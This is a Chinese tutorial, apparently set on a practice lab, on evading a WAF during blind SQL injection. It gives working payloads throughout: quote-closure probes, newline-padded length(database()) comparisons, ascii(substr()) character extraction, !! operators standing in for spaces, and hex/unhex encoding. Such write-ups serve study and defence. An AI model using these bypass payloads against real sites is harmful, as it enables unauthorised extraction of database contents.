0x00 前言
前面讲到了联合查询如何过waf,那么今天给大家来讲讲盲注怎么去,bypasswaf。这里还是以xx狗为例。
0x01 与waf的对抗
我们来试试常规的注入思路。
' 单引号 不报错 " 双引号 报错 反斜杠 报错
这里可以看到报错,爆出了他是以双引号闭合的 加个--+ 看看回显是否正常,正常的话说明他的闭合就是双引号。
闭合成功,闭合这一步我个人认为是整个sql注入的精髓,闭合成功离数据还会远嘛?
再来尝试and 1=1 ,因为这个关卡是盲注的 所以直接放弃联合查询。
and 1=1 拦截 and 1 拦截 and 0 拦截 and 'a'='a' 不拦截且正常显示 and 'a'='b' 不拦截且无回显 and -1 =-1 不拦截且正常 and -1=-2 不拦截且无回显
那么现在我们就可以判断他是存在注入点的。
现在先来截取字符的函数对他的字符进行判断。
and length(database())>1 拦截
and length(database()) 不拦截
and length(database()) > 不拦截
那么拦截的肯定是大于号和 1之间,那么我们就要对他中间fuzz一下
and length(database())>%0a10 不拦截且无回显 and length(database())>%0a7 不拦截且回显正常 and length(database())=%0a8 不拦截且回显正常
这时候就可以确定他的数据库名长度是8个字符。要使用到ascii和substr这个函数,获取一个字符然后取他的ascii码,然后拿去转成字符就可以拿到他的数据库名了。
and ascii(substr(database(),1,1))<200 回显正常 and ascii(substr(database(),1,1))<126 正常 and ascii(substr(database(),1,1))<125 错误 and ascii(substr(database(),1,1))=115 正常
这里直接不拦截,可以来一个一个才他的ascii,当然一般会配合burp 直接写等于号 来从100跑到300 ,能有效的省略时间。
后来发现mysql的一个特性可以拿来代替空格。
!!and 1=1 执行成功 !!!and 1=1 失败 !!!! and 1=1 执行成功
但是在 注入时候!!!and1=1 会被拦截,那么我们这里可以运用在其他的地方。例如substr
我们还可以灵活运用hex 这个函数例如获取的acsii进行 hex()16的转换,然后再运用unhex来做解密成功绕过。
那么这时候可以可以使用到unhex再进行解密 或者说brup 0-300 再使用hex算法去跑,跑完再进行hex解密。
成功绕过。
0x02 结尾
由于查询字段和表名那些方式绕过方式都是一样的,这里就不给大家做过多的演示,可以自己去尝试。